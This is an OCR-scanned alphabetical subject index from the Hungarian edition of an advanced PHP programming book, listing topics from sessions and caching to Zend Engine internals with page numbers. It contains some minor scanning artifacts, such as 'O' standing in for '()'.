hivatkozásszámlálás 39, 279 időjárás 302
hivatkozásszámláló 524 időzített riasztás 139
holtpont 269 IETF 254
homepage.tpl 121 If-Modified-Since fejlécmező 249
honlapok tárolása 288 ígéreti szakasz 419
horgok 391, 535 US 268
hosszú címkék 22 Illesztő minta 41, 338
hosszú életű változók 16, 18 implode 364
hosszú kapcsolók 133 import utasítás 196
hosszú leírás 27 include 117, 226
hosszú sorok 7 include elérési út 111
House 191 includeO 125, 236, 268
hozzáfűzési mód 268 include_onceO 472
HTML 23, 27, 49, 231 index 324
HTML kód 110 indexelt tömbök 560
HTML kód összehúzása 284 INI bejegyzések 575
HTML táblázat 119 initO tagfüggvény 100
html_table függvény 119 inode 264
HTML_Template_Flexy 125 inputjilter 640, 641
HTMLJTemplateJT 125 insertO 333
HTMLJTemplateJTX 125 interface 49
670 PHP fejlesztés felsőfokon

interfész 49 Johnson 71
Internet Explorer 359 Jonathan Lewis 348
internetes bevásárlókocsi 259 JUnit 161, 176, 191
internetes protokollok 188 K
internetszolgáltató 285, 358 K&R stílus 10, 19
IonCube 533 kanonikus elérési út 165
ionCube Accelerator 236, 239 kapacitás 400
IOS 68 kapcsolati adatok 42
IP 350 kapcsolatok megosztása 54
IPC 278 kapcsolók 133
irányítószám 104, 302 kapcsolt paraméter 45
írás 56 kapcsolt változó 46
írási jogosultság 112 kapcsos zárójel 9, 113
írási tár 247 karakterek keresése 502
is_a() függvény 52 karakterlánc 60, 275, 320, 551, 552
is_cachedO 120 karakterlánc-kezelő függvény 320
is_int függvény 87 karakterláncok feldolgozása 555
is_ref 524 Kari Fogelis 219
ISAPI Server Abstraction API 268 kcachegrind 485
ISO 8601 434 keepalive 244
ISO országkód 327 kemény tabulátor 5
item 432 Kent Beck 161, 191
item_struct 432 képviselet 48
iterátor 63 képviseleti hibák 51
J képviselő 48
Java 20, 27, 108, 191, 263, 315 Kerberos 3Ó7
Java alapú munkamenet-burkoló 352 kérelmek indítása 579
Java IDE 176 kérelmenkénti elavulás 360
JavaDoc 27 keresőmotor 352
JavaScript 77, 358, 484, 523 keresőtáblák 345
JavaScript címkék 105 keretrendszer 41
javasolt zárak 266 kern.ipc.nmbclusters 246
JDBC 56 Kernighan 10
jegy alapú rendszer 350 késleltetés 215
jelentéskészítő adatbázis 53 késői tesztelés 159
jellemző 34 két szóköz 6
jelszavak védelme 354 kétdimenziós tömb 119, 134
jelszó 36, 350, 354 kétlépéses végrehajtás 419
jelzések 139 kétmotoros gép 384
jelzőcímkék 204 kettőspont 133
Jeremy Zawodny 348, 425 kezdőérték 34
Jim Winstead 592 kezdővektor 365
jó kód 221 kezelhetőség 194
Tárgymutató 671

kibocsátás 213 konstruktorhibák kezelése 99


kijelentkezés 361 konstruktorhívás 100
kilépési állapotkód 138 korai optimalizálás 224
kül 139, 142 kórlap 378
kimenet 49, 130 költség 224
kimenet átmeneti tárolása 131 könnyűsúlyú munkamenetek 385
kimenet kezelése 130 könyvtár 26, 264
kimenet-átirányítás 130 környezeti változó 116
kimeneti adatfolyam 130 kötelező zárak 266
kimeneti függvény 130 középkori matematika 306
kimeneti szűrő 123, 131 központosított gyorstárak 411
kimenettárolás 261 köztes kiszolgáló 242
kimenő szűrés 107 köztes kód 236, 516, 517
kiszolgáló oldali munkamenetek 378, kulcs 324
383 kulcs-érték pár 271, 387
kiürítés 264 kulcsszavak 9
kiváltság 146 kurzor 277
kiváltság nélküli felhasználó 146 különböző fájlrendszerek 270
kiváltságok feladása 146 különleges célú fürtök 407
kivétel 44, 83, 85, 229, 604, 646 különleges tagfüggvények 39
kivétel dobása 85 külső átirányítás 295
kivételek kiváltása 603 külső hibák 73, 81
kivételek láncolása 96 külső könyvtárak 543
kivételek újradobása 96 L
kivételhierarchiák 88 lábléc 117
kivételkezelő blokk 85 lágy tabulátár 5
kizárólagos táblazárolás 396 láncolás 130
kizárólagos zár 268 lapos fájl 263
kizárólagos zárolás 267 lassú lekérdezés 330
kizárólagosság 147 lassú lekérdezések naplója 330
kód formázása 4 Last-Modified 248
kódbeli profilkészítők 466 látogatásszámláló 383
kódlogikai hibák 73 Laura Thomson 375
kódok újrahasznosítása 109 lazy initialization 345
kódolási stílusok 3 LDAP 188, 367
kódolási szabványok 229 leágaztatás 137
kódon belüli tesztelés 164 leágaztatott folyamatok 137
kódoptimalizáló 239 lebegőpontos szám 551
kódszervezés 4 lefordított nyelv 166
kódtörő 77 lefordított sablonlll,113
kód-újrahasznosítás 128 legfelső szintű hatókör 100
kombinált formátumú naplófájl 132 leíró 40
konstruktőr 34, 99, 602 leíró csomópont 264
672 PHP fejlesztés felsőfokon

leíró jellegű nevek 226 loopO tagfüggvény 152


Leiserson 320 LRU 264
lejárati idő 276 Luké Welling 375
leképező minta 335 lusta előkészítés 58, 345
lekérdezés 44, 107, 302, 324, 327 LVS 425
lekérdezés-előkészítés 44 M
lekérdezési karakterlánc 377, 385 m4 makrók 547
lekérdezési karakterlánc csatolása 352 magasszintű nyelv 228
lekérdezési karakterlánc paraméterek magic_quotes_gpc beállítás 107
371 mágikus megjegyzések 7
lemez teljesítménye 240 mail() 81
lenyíló lista 103 mailto függvény 118
Leonardo Fibonacci 306 mailto: hivatkozás 118
létrehozó függvény 34 mainO 635
levélcím-feldolgozó 162 makró 547
levelek 264 makrókifejtés 503
levélkiszolgálók 263 mallocO 552
levélküldés 81 maradandó adatok 323
lexikai elemző 516 maradandó erőforrások 566
libmm 391 maradandó hasítótábla 59
LIMIT záradék 344 maradandó társításos tömbök 59
Lindridge 236 maradandóság 349
lineáris idő 308 Marcus Boerger 62
lineáris önhivatkozás 549 Martin Fowler 348
lingerd 247 másolás 36
link 432 másolat 40
Linux 196, 246, 497 MathException 90
Listen utasítás 244 mátrixszorzás 488
Livejournal 247 max-age 250
localhost 243 mcrypt bővítmény 360
Location átirányítás 244 mcrypt burkoló függvények 369
LOCK_EX 268 md5 424
LOCK_NB 268 MD5 kivonat 121, 367
LOCK_SH 268 megbízott 48
log_current_status() 149 megfelelő stílus kiválasztása 4
log_service_event() 149 megfigyelő minta 149
logikai szerkezet 8 meghatározatlan tagfüggvény 68
loginO 68 meghatározatlan tulajdonság 58
login.php 365 megjelenítési kód 109
log-long-formát 331 megosztás 136
logout 364 megosztott erőforrások bezárása 136
Long Description 27 megosztott gyorstár 250
long_query_time 330 megosztott objektum 217
Tárgymutató 673

megsemmisítés 36 mod_perl 263, 315, 533


megsemmisítő függvény 39 mod_php 217, 218, 269, 630
megszakítási jelzés 139 mod_php5 535, 541
megszakítási kérelem 139 mod_proxy 242, 243, 247
mélyen beágyazott ciklusok 14 mod_rewrite 255, 295
mélymásolás 40 mod_so 217
memória alapú állományrendszer 216 modell-nézet-vezérlő 109
memória kezelése 551 Model-View-Controller 109
memóriakezelő függvények 278, 552 modtime 392
memórialeképezésű fájlok 617 moduláris kód 226
memóriaszivárgás 108 modulhorgok 572
memóriaterület folyamatok közti modulok indítása 572
megosztása 278 modulok kikapcsolása 578
mérési eredmények összehasonlítása monitor.xml 155
489 Moshe Bar 219
mérési környezet 489 MovableType API 431
méretezhetőség 384 MSHUTDOWN 583
mérgezés 258 MSN 285
message 92 mtime 264
mester-mester 419 működési környezet 78
mesterséges és a valósághű MultiplicityFactor 463
terhelésképzők 458 multitasking 135
mester-szolga többszörözés 419 munkakönyvtár 145
MetaWeblog 430 munkamenet 352, 614
MetaWeblog API 431 munkamenet adatainak tárolása 259
metódus 34 munkamenet-azonosító 378, 385
metódusnevek 20 munkamenet-bővítmény 253
mezőelválasztó 82 munkamenetek ragadóssága 383
Michael Radwin 230 munkameneti állapotok 378
Microsoft Passport 367, 375 munkameneti API 610
microtimeO 497 munkameneti bővítmény 385
mindent elkapó kivételkezelők 90 munkameneti gyorstár 378
MINIT 582 munkameneti süti 385
minőségbiztosítás 208 munkamenet-kezelő 391, 610
mm 391 munkamenet-szimulátor 462
mm kezelő 396 Murphy 73
mmapO 278, 618 must-revalidate 250
mmap_openO 624 műveleti kódok 517
mod_accel 242, 247 műveleti tömb 517
mod_backhand 217, 242, 383, 425 MVC 109, 117
mod_deflate 254 MySession kezelő 396
mod_gzip 253, 254 MySQL 42, 44, 77, 107, 229, 326, 330,
mod_log_spread 217 344, 392, 396, 420, 583
674 PHP fejlesztés felsőfokon

MySQL 4.0.1. 304 nem végzetes hiba 81, 86


mysql bővítmény 421 Net_Telnet osztály 68
mysql_connectO 77 Netscape 3.0 352
mysql_escape_stringO 231 Network Appliance 260
mysql_fetch_assocO 44 névszimbólumok 14
mysql_real_escape_stringO 317 névterek 225, 440
mysqldumpslow 331 névütközés 226
MysqlException 97 new 54
mysqli bővítmény 421 Newsweek 177
MysqlStatement 65 next_attempt 149
myTestRunnerO 174 NFS 214, 403, 411
N, Ny Nick Lindridge 254
Nagios 157 nl2br0 120
nagy forgalmú webhelyek 428 noatime beállítás 412
nagy késleltetésű kapcsolat 242 no-cache 250
nagybetű 9, 20 nocache blokk 121
nagyméretű mezők 346 nocache_block függvény 122
nagysebességű egyidejű írás—olvasás no-store 250
271 null érték 325
NaNException 90 null karakter 320
napló alapú terhelésképző 46l nyelvek keverése 118
naplófájl 76, 132 nyelvi optimalizálok 239
naplóüzenet 197 nyers SQL 44
naplózás 78 nyilvános 37
natív csomagformátum 216 nyilvános felület 37
navigációs sáv tárolása 259 nyilvános osztály 26
ndbm 271 nyilvános változó 37
négy szóköz 6 nyilvánosság 37
Négyek bandája 71 nyilvántartási felület 272
nehezen olvasható kód 3 nyitó zárójel 10
nehézsúlyú munkamenetek 377, 381 nyomkövetési információk 131
nem blokkoló hálózati kapcsolat 241 nyulak 305
nem blokkoló osztott zár 268 0, 0
nem érvényesített adatok 103 o módosító 508
nem helyi kapcsolatok 77 ob_end_cleanO függvény 261
nem létező államok 105 ob_end_flush() 261
nem létező osztály 71 ob_get_contents() 261
nem létező tagfüggvény 68 objektumkezelők 530
nem maradandó erőforrások 567 objektumközpontú programozás 33,
nem megfelelő számú argumentum 75 34
nem megosztott gyorstár 250 objektummodell 33, 529, 593
nem nyilvános tagfüggvény 37 objektumok 34
nem végzetes futásidejű hibák 74 objektumok létrehozása 531
Tárgymutató 675

objektumok szétbontása 419 öröklési kapcsolatok 36


OFB 365 összetett allekérdezések 8
Ohrt 110 összetett típusok 446
oktatóanyag 26 összetett utasításkészletű gép 516
oldalak részeinek tárolása 299 P
oldalméret 246 packO 212
olvasás 56 paraméter típus 52
olvashatósági index 177 paraméterek 26
OO 33 paraméterellenőrzés 52
ooprofile 485 paramétermódosító 556
op_dumper 517 paraméterverem 518
open 391 parancsnyelv 123
open_basedir 230 parancssor 129, 132
operációs rendszer 246 parancssori argumentumok 132
operációs rendszer korlátai 246 parancssori felület 129
opkódok 516 parancssori kapcsolók 133
opkódok kiíratása 649 parancssori PHP programok 129
optömbök 516 parent kulcsszó 37, 38
Oracle 44, 47, 345, 420 Passport 367
Oracle adatbázis 53 passwd állomány 82
Oracle IOT 325 password 432
origination_uri 365 PATH környezeti változó 129
országkód 327 pcntl_alarmO 142
OS X 196 pcntl_forkO 135, 137, 145
oszlopnevek 21, 58 pcntl_setsidO 145
osztály 34, 528, 593 pcntl_waitO 137
osztálykonstruktor 34, 99, 124 pcntl_waitpidO 137
osztálykonstruktorok elrejtése 608 pcntl_wexitstatus($status) 138
osztálymetódus 38 pcntl_wifexitedO 138
osztálynevek 20 PCRE 319
osztályöröklés 598 pcre_compileO függvény 319
osztálytulajdonság 38 pcre_exec() 319
osztályváltozó 38 PEAR 15, 69, 111, 125, 161, 176, 239,
osztott hitelesítésű rendszer 368 259, 414, 428, 443, 467
osztott memória 278 PEAR csomagformátum 214
osztott memóriaszegmensek 278 PEAR Extension Code Library 237
osztott zár 268 pear install 69
OverflowException 90 PEAR mérőcsomag 490
owner tulajdonság 175 PEAR telepítő 215
önálló tesztek 166 PEAR webhely 69
önhívó függvények 305 PECL 237, 543
öröklés 36, 51 példány 34
öröklési fa 89 példányosítás 34
676 PHP fejlesztés felsőfokon

Perl 59, 74, 129, 225, 319, 508, 523, phpscript.php 129
530 PHPSESSIONID 385
Perl Compatible Regular Expression PHPUnit 161, 169
319 PHPUnit: :Assert 170
Peri-megfelelő szabályos kifejezések PHPUnit_Framework_TestCase 166
319 PHPUnit_Framework_TestCase osztály
perzisztens 59 162
pesszimista megközelítés 294 PHPUnit_Framework_TestListener
Péter Gulutzan 348 felület 174
Philip Mak 255 PHPUnit_Framework_TestResult
Phillip Hazel 319 objektum 174
php 129 PHPUnit_Framework_TestSuite
PHP 4 529, 596 objektum 162
PHP 5 353, 529, 596, 604 PHPUnit_GtkUI_TestRunner 176
php blokk 122 PHPUnit_WebUI_TestRunner::runO
PHP bővítmény 218, 544 176
PHP bővítmény és alkalmazástár 69 PID 135
PHP Extension and Application pillanatfelvételek 421
Repository 15, 69 polimorfizmus 36, 41
PHP fájlok áthelyezése 213 populateO függvény 346
php függvény 118 POSIX 266
PHP kérelmek életciklusa 534 POSIX fájlleíró 567
PHP könyvtárak 26 posix_kill() 142
PHP mag 537 posix_setgidO 146
PHP motor 534 posix_setuid() 146
PHP munkamenetek 387 Poskanzer thttpd 245
PHP nyelvtan 9 POST 253, 380, 627
PHP profilkészítő 466 POST adatok 103, 633
PHP SÁPI 269 POST kérelmek 428
php.ini 75, 78, 80, 101, 111, 134, 218, post_runO tagfüggvény 149
230, 237, 254, 385, 388, 391, 430, PostgreSQL 47, 229
467, 548, 575 Powers-Sumner-Kearl képlet 188
PHP_FUNCTION 550 PPP 37
PHP_MINFO_FUNCTION0 580 pprofp 468
php_module_startup 537 Pragma: no-cache 248
PHP_RSHUTDOWN_FUNCTION() 579 pre-fork model 245
PHP4 37, 40, 99 preg_grepO 319
PHP4 objektummodell 54 preg_matchO 319
phpDocumentor 27 preg_replaceO 319, 481
PHPEd 467 preg_replace_callback() 508
PHP-GTK 157, 176 preg_splitO 319
phpinfoO bejegyzés 580 prepare 45
Tárgymutató 677

prepareO 47 R
previous_status 149 ragasztónyelv 123
print 23, 130 ramfs 216
privát 37 rawurlencode 478
privát hivatkozás 54 RCS 194
privát konstruktőr 56 reád 391
privát tagfüggvény 37 readability score 191
privát tulajdonságok 599 readfile függvény 268
privát változó 37, 604 Reál Time 468
priváté 37, 55, 250 reallocO 552
próbakörnyezet 207 realpathO függvény 165
procedurális programozás 33 Really Simple Syndication 49
process ID 135 reaping 137
processzoridő 136 Red Hat rpm 216
profilkészítés 455 Reduced Instruction Set Computer 516
profilkészítő 466 Redundancia 399
program kilövése 139 refaktorizáció 37, 159
projektvezetés 193 refcount 524
protected 37 reference 40
prototípus 49, 52 Reflection API 155
proxy 242 Reflection_Class osztály 155
ProxylOBufferSize 244 register_argc_argv 134
ProxyPass 244 register_blockO 121
ProxyPassReverse 244 register_functionO 118
ProxyRequests 244 register_global 77
proxy-revalidate 250 register_globals 229
PS_DESTROY_FUNC0 613 register_modifierO 120
PS_GC_FUNC() 614 register_outputfilterO 123
PS_MOD0 610 register_postfilter() tagfüggvény 123
PS_OPEN_FUNC 610 register_prefilterO tagfüggvény 123
PS_READ_FUNC() 612 regressziós teszt 168
PS_WRITE_FUNC() 612 rejtett munkamenet-azonosító 385
pubcookie 375 reklámajánlatok 272
pubDate 432 rekurzív függvények 305
public 37, 250 rekurzív különbségkeresés 202
publish 432 relációs adatbázis 323
put() 276, 287 relációs adatbázis-kezelő 323, 417
Python 4, 108, 129, 166, 191, 225, 523, relatív elérési út 165
530 remote command injection 230
Q removeO 287
-q kapcsoló 204 renameO függvény 270
QA 208 rendező algoritmusok 308
Qmail 271 rendszergazda 145
678 PHP fejlesztés felsőfokon

rendszerleíró adatbázis 129 S, Sz


rendszerszintű protokoll 350 s/$pattern/$sub/eo; 508
replikáció 419 sablon 110
repülőgép 384 Sablon minta 46
requireO 227, 236 sablonelőszűrés 123
ResourceClass objektum 100 sablonelőszűrők 123
részleges fájlok 269 sablonon belüli PHP-kód 118
reverse proxy 242 sablonosztály 124
Revison Control System 194 sablonrendszer 116
RewriteCond 296 sablonutószűrés 123
RewriteEngine 296 sablonutószűrők 123
RFC 2109 375 sablonnyelv 110
RFC 2616 249 saját hibakezelő 80
RFC 2617 375 saját jelzéskezelő 139
RFC-k 254 saját osztályok 260
riasztás 142 saját sablonrendszer 123
riasztó jelzés 142 saját titkosító algoritmus 360
Rich Site Summary 49 Samba 403
RINIT 579 SÁPI 534, 627
RISC 516 SÁPI bemeneti szűrők 640
Ritchie 10 sapi_module_struct 628
Rivest 320 sávszélesség 253, 284, 417
root 145 Schema 439
rossz INI fájl 77 SchemaTypelnfo felület 447
rosszindulatú adatok 105 SCSS 194
rosszindulatú HTML 105, 108 segédfüggvények 118
rosszindulatúan módosított adatok 103 SELECT * 345
ROT13 391 SELECT utasítás 344
rövid címkék 22 self 38
rövid kapcsolók 133 sémanevek 21
rövid leírás 27 sendmail 144
RPC 68, 303, 427 SEPARATE_ZVALO 564
RPC tagfüggvények 68 Serendipity 227, 431, 471
RSHUTDOWN 579 serializeO függvény 283, 316, 394
RSS 49, 432 ServerRoot 112
rsync 214 serviceO 430
ru_majflt 497 ServiceCheck objektum 149
ru_minflt 497 ServiceCheckRunner osztály 150
ru_stime 497 ServiceLogger 149
ru_utime 497 session stickiness 383
Ruby 225, 523 session.cookie_domain 386
Rudolf Flesch 177 session.cookie_lifetime 386
runO 149 session.cookie_path 386
Tárgymutató 679

session.cookie_secure 386 SIGSTP 137


session.gc_dividend 395 SIGTTIN 137
session.gc_maxlifetime paraméter 395 SIGTTOU 137
session.gc_probability paraméter 395 SIGUSR1 139, 144
session.name paraméter 386 SIGUSR2 139, 144
session.save_path 393 sikertelen próbálkozások 357
session.session_name 393 sima szöveg 49
session.use_only_cookies 387 Simple Object Access Protocol 438
session_destroy() 388 SinglelP 463
session_id függvény 389, 392 Singleton 54
session_set_save_handler 391 Singleton osztály 54
session_startO függvény 123, 253, 387 Slashdot 247
session_write_closeO 388 Sleepycat 271
set 364 Smalltalk 109
set_error_handler() függvény 80 SmartTemplate 125
setcookieO függvény 262, 382 Smarty 110, 111, 117, 122
set-interest 279 Smarty beállítási változó 116
setUpO 173 Smarty kézikönyv 120
Seuss 177 Smarty_ExampleOrg 122
shal 424 Smarty-kódok 113
Shane Caraveo 450 s-maxage 250
she-bang 129 SMOG index 188
shm_get_var 278 SOAP 414, 427, 438
shm_put_var 278 SOAP boríték 438
shmop 278 SOAP kérelmek 302
shmop függvények 278 SOAP_Client 443
Short Description 27 softtabstop kapcsoló 7
short tag 22 sorhossz 4, 7
short_tags 23 sormutató 277
show ip route 69 soron belüli megjegyzések 25
showConversionO függvény 273 sorosítás 275
sig_alarmO 143 sorosított adatok 380
sig_child() 152 sorozatszám 360
sig_usrl() 152 sorozatszámok 350
SIGALRM 139, 142 Source Code Control System 194
SIGCHLD 139, 140 Sourceforge 247
SIGHUP 139, 144 SP_multicastO 589
SIGINT 139 SP_multigroup_multicastO 589
SIGKILL 139 SPL 62
signal 139 Spread 413, 581, 605
SignOnException kivétel 373 SQL 4, 8, 324
SIGSTOP 137 SQL lekérdezés 8
680 PHP fejlesztés felsőfokon

SQL92 326, 345 Structured Query Language 4


SQL-beszúrási támadás 107 strukturált lekérdezőnyelv 4
Squid 242, 247 substr függvény 502
SRM 425 Subversion 195
SSL munkamenetek 386 SUCCESS 149
stage.example.com 208 súlyossági szint 73
standard error 130 Sun 20, 31
standard in 130 süti 188, 279, 352, 358, 377, 379, 634
standard input 130 süti alapú gyorstárak 279, 285
standard out 130 süti alapú hitelesítés 353
standard output 130 süti alapú munkamenet-kezelés 386
Standard PHP Library 62 sütiadatok 627
statO 264 syslog 78
statement_handler 655 System Time 468
static 54 System V 278
static kulcsszó 38 system.listMethods 435
statikus bővítmények 548 system.load 428, 443
statikus fájlok 245 system.methodHelp 435
statikus HTML gyorstárfájlok 295 system.methodSignature 435
statikus osztályváltozók 310, 318 sysvshm bővítmény 278
statikus tagfüggvény 38 szabály alapú újraírás 295
statikus típusokra épülő nyelvek 522 szabályos kifejezés 87
statikus tömb 56 szabványos bemenet 130
statikus tulajdonság 38 szabványos hibaüzenet 130
status_time 149 szabványos kimenet 130
stderr 130, 131 szabványos kimeneti folyam 76
stdin 130 szabványos PHP könyvtár 62
stdout 130 szakosodás 127
Stein 320 szakosodott nyelvek 127
Steve McConnell 231 szálak 135
Stillborn osztály 100 szálas modell 245
stílus 3 szálközpontú nyelvek 135
str_replace függvény 509 szám 60
strcmp 320 számítási újrahasznosítás 305, 319
streams_filter_register() 131 számított adatok tárolása 259
string 320 számláló 12, 39
strip_tags 230 számváltozók 18
stripslashesO 380 szegényes kódolási stílus 3
strlenO függvény 320 szemafor 278
strncmp függvény 502 személyes oldalak 110
strndup 552 szemétgyűjtés 121, 278, 388, 395
strtoupper 520 szemétgyűjtő 39, 277
Tárgymutató 681

szerkezet nélküli fájlok 263 tartalomkezelő rendszer 210


szerző neve 27 tartalomtömörítés 253
szétválasztás 109 tartományok 367
szimbolikus címkék 204 távoli eljáráshívás 68, 427
szimbólumok 14 távoli eljáráshívások eredményének
szimbólumtábla 14 tárolása 259
szimmetrikus kódolás 365 távoli kiszolgáló 68, 130
szimmetrikus titkosító 391 távoli parancsbeszúrás 230
szintetikus mérés 488 TCP 350
szintetikus mérőprogram 488 TCP tárak 246
szkript 101 TCPIPRoundRobin 463
szkriptnyelv 123 tearDownO 173
szokványos események 36 telefonos szolgáltatók 359
szótagszámlálás 178 telefonszámok 257
szótártámadás 354 teljes leíró nevek 405
szűk keresztmetszetek 456 teljes táblapásztázás 324
szuperglobális 116 teljes táblás keresés 324
szűrés 107 teljesen előállított oldalak 259
szülő 36, 135 teljesen szétterített gyorstárak 413
szülőosztály 37 teljesítmény 224
T, Ty teljesítményfokozás 224, 235
tábla 324 teljesítményhangolás 224
táblamásodnevek 9 teljesítménymérés 455
táblázat 23 Telnet 68
TABLE 125 Template 46
tabstop 7 Template objektum 124
tabulátorok 5 templates_c könyvtár 113
tabulátorszélesség 6 TemplateTamer 125
tagfüggvény 20, 34 terheléselosztás 383
tagfüggvények hozzáadása 599 terheléskiegyenlítés 400
tagfüggvénynevek 20, 39 terjesztés 211
tagfüggvény-túlterhelés 68 természetes számok 87
tags 27 terminál 130
takarítás 137 tervezés 221
tar 214 tervezési minták 33, 41
tárkezelők 123 test adatbázis 46
tárolt fájlok 111 test előtag 164
tárolt másolat 120, 247 TestCase 162
tárolt változat 78 TestCase objektum 168
társításos tömb 36, 309 TestClass osztály 40
tartalom érvénytelenítése 273 TestHarness 169
tartalom-előállító függvény 300 testreszabási információ 121
682 PHP fejlesztés felsőfokon

testreszabható kódcímkék 123 többszavas osztálynevek 20


testreszabhatóság 260 többszavas parancs 69
tesztelés 159 többszavas változónevek 19
tesztfeltétel hozzáadása 171 többszintű stíluslapok 125
tesztkód közvetlen beágyazása 166 többszörös öröklés 50
tesztoldal 190 többszörözés 384, 419, 423
tesztvezérelt tervezés 176 tömb 60, 320
teve jelölés 20 tömb stílusú hozzáférés 62
Text_Statistics 204 tömbbejáró módszerek 62
Text_Statistics osztály 312 tömbciklusok 116
Text_Word objektum 313 tömbelemek 116
The Cederqvist 219 tömbkezelő függvény 65
Theo Schlossnagle 464 tömbszerű csomagok 216
Thomas 128 tömeggyártású elemek 403
threaded model 245 tömörítés 253
thttpd 241, 407, 418 track_errors 80
Tíchy 194 trans_sid 385
ticks 140 tranzitivitás 526
tie() 59 treat_data 640, 645
Tied 59 trigger_errorO 79
timeout 149 trigger_errorO függvény 75
típusátalakítások 562 Triple DES 391
típusellenőrzés 52, 61, 228 Trudy Pelzer 348
típusjelzés 52, 58, 228 true 229
típuskényszerítés 228 try blokk 86, 101
típuskódolás 440 TTD 176
típusmegszorítás 62 tulajdonság 34, 596
típusok 60, 551 tulajdonság-felülbírálás 59
típusok kezelése 557 tulajdonságokhoz való hozzáférés 58
típusos kivételek 90 túlterhelés 56, 60, 121
típustérkép 61 túlterheléses támadás 121
titkosítás 360 túlterhelt elérőfüggvények 348
titkosítatlan sütik 359 Tux 241, 407, 418
titkosító algoritmus 360 tty 130
title 432 U
tmpfs 216 ub_write 535
tőzsdei szolgáltatás 443 újraépítés 37, 159
több adatbázis 209 újraépíthetőség 222
többalakúság 36, 41, 47 újraírási szabályok 298
többfeladatos 135 unit 160
többkiszolgálós környezet 211 Unix 129, 136, 278, 411
többszálas alkalmazás 268 Unix időbélyegző 364
Tárgymutató 683

Unix NFS 268 V


Unix terminálablak 8 valgrind 485
Unix-megfelelő rendszerek 196 validateO függvény 104, 364
unlinkO függvény 269 vállalati szoftver 193
unpackO 478 valódi globális változók 16
unserializeO 394 valódi nézettáblák 421
UPDATE 22, 97 valósághű adatképző 462
update -r 206 valószínűségi megközelítés 273
update utasítás 202 változatkezelés 194
updateO 333 változatkezelő rendszer 194
uptime 428 változatkezelő szoftver 194
URL 97, 105 változatinformációk begyűjtése 361
url_rewriter.tags 387 változó hatóköre 15
űrlapadatok 104 változóbehelyettesítés 114
űrlapadatok érvényesítése 87 változók 39, 522
urlencodeO függvény 120, 379 változók beszúrása 510
URL-újraíró 295 változók megosztása 137
use strict 74 változómódosítás 137
use warnings 74 változómódosító 120
User 35, 36 változómódosítók 118
User Time 468 változónevek 15
USER_AGENT 285 változónevek elírása 74
user_space 391 változtatható függvénymutatók 646
userid 327 var utasítás típusa 27
username 432 védekező kódolás 145, 228
user-navigation 279 védett 37
UTC 249 védett tagfüggvény 37
utolsó módosítás 249 védett változó 37
útválasztási táblázat 69 végfelhasználó 77
ügyfél által megadott adatok 103 véglegesítési üzenet 199
ügyfél oldali kód 106 végrehajtási szakasz 419
ügyfél oldali munkamenetek 377, 378 végrehajtási verem 85
ügyfél oldali parancsnyelv 358 végrehajthatóvá tétel 129
ügyfél-kiszolgáló adatforgalom 378 végzetes futásidejű hiba 75
üreshelyek 4, 8 végzetes hiba 49, 75, 81
üresjárat 240 véletlen adatok 494
üzemi kibocsátás 210 véletlen jelszóelőállítók 355
üzemi környezet 206 véletlen lekérdezések 332
üzenetsor 278 véletlenszerű kiürítés 264
üzleti célú program 193 vezérlési szerkezet 114
üzleti szoftver 193 vezérlési szerkezetek 9, 108
684 PHP fejlesztés felsőfokon

virtuális bolt 110 -with-mm kapcsoló 391


virtuális gép 516 WNOHANG 137, 141
virtuális helyi hálózat 418 Word objektum 312
ViSolve 255 Word osztály 178
visszacsatolási cím 243 write 392
visszafelé haladó bejáró 57 WUNTRACED 137
visszahívható függvény 39, 655 X
visszahívható művelet 36 XI1 176
visszajátszó 459 Xdebug 467
visszakövetés 92 xmethods.net 302
visszatekintő felület 155 XML 428
visszatérési érték 135, 229 XML dokumentum 22
visszatérési kód 299 XML_RPC_Client 429
visszatérési makrók 556 XML_RPC_Decode() 429
vízszintes méretezés 407 XML_RPC_Message 429
VLAN 418 XML_RPC_Response 430
Vlissides 71 XML_RPC_Server 430
W XML_RPC_Value 430
waitpidO 137 XML-PRPC 427
WSDL 441 XML-RPC 414, 428
Web Services Description Language XML-RPC párbeszéd 429
441 xmlsoap 439
WebAuthTestCase 190 XOR 76
webes alkalmazások 100, 210 xshtype 440
webes fürtök 399 Y
webes környezet 188 Yahoo! 403
webes programozás 103 Z
webes rendszer 109 Zak Greant 335
webkiszolgáló 112 zárak 267
weblap 76 zárójelezés 23
Weblog osztály 48 zárolás 147, 278, 388
webnaplózó rendszer 430 zárolási rendszer 195
webszolgáltatás-leíró nyelv 441 zárolófájl 147
Wez Furlong 626 zárolt fájl 266
Whetstone 488 zavaros kód 22
while ciklus 11 Zend Accelerator 236, 533
Windows 129, 176, 196, 268 Zend bővítési API 646
—with-config-file-scan-dir kapcsoló Zend bővítmények 654
218 Zend Engine 236, 516, 535
--with-curl kapcsoló 188 Zend Engine módosítása 646
Tárgymutató 685

Zend Optimizer 239


zend_class_entry 528, 593
zend_compile 517
zend_compile_fileO 646
ZEND_DO_FCALL 526
zend_errorO 571
zend_error_cb 646
zend_execute 517, 528, 646
ZEND_FETCH_RESOURCE0 570
zend_fopen 646
ZEND_INTERNAL_FUNCTION 526
zend_module_entry 538, 572
zend_object 604
zend_op 651
zend_parse_parametersO 550
ZEND_SEND_VAL 526
ZEND_USER_FUNCTION 527
Zeus 244, 245
ZIP kód 302
zlib 254
Zmijevszki 110
zval 523, 551

You might also like